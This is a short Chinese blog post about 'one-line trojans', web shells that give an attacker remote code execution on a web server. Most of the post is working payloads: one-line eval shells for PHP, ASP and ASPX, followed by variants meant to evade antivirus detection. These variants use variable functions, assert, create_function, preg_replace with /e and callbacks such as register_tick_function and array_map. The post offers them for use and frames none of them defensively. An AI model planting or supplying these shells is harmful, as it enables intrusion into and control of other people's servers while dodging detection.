一句话木马
2019-03-11 本文已影响0人
Franchen
大马小马的区别
小马功能简单,一般只有文件浏览和上传的功能,但体积小,易隐藏。
大马功能强大,可以进行提权、连接数据库、反弹Shell等,但体积较大,容易被查杀。
简单的一句话木马
php: <?php @eval($_POST['pass']); ?>
asp: <% eval request('pass') %> 或 <% execute(request('pass')) %>
aspx: <%@ Page Language="Jscript"%> <%eval(Request.Item["pass"],"unsafe");%>
jsp 和 jspx 见:'https://www.jianshu.com/p/19facabb5f29'
如何绕过查杀
- 可变函数
<?php $_REQUEST['func']($_REQUEST['pass']); ?>
/**
* 可变函数不能用于语言结构,如echo(),print(),unset(),isset(),empty(),include(),require()等。
* 参数func可以是:
* assert 5、6可用,7无效
* create_function("", $_REQUEST['pass'])
* preg_replace("/.*/e", $_REQUEST['pass'], ".") // 7不可用
* preg_replace_callback("/.*/", function ($a){@eval($a[0]);}, $_REQUEST['pass']) // 7新函数
*/
- 回调函数 [webshell回调php总结]
<?php
$s = "ss.ss.$_GET['func']";
$c = explode(".",$s);
register_tick_function($c[2], $_REQUEST['pass']);
declare(ticks = 2);
?>
/**
* 回调函数可以是:
* call_user_func|call_user_func_array('assert', array($_REQUEST['pass']));
* array_map|array_filter(array($_REQUEST['pass']), $_REQUEST['func']); // func可以是assert
*/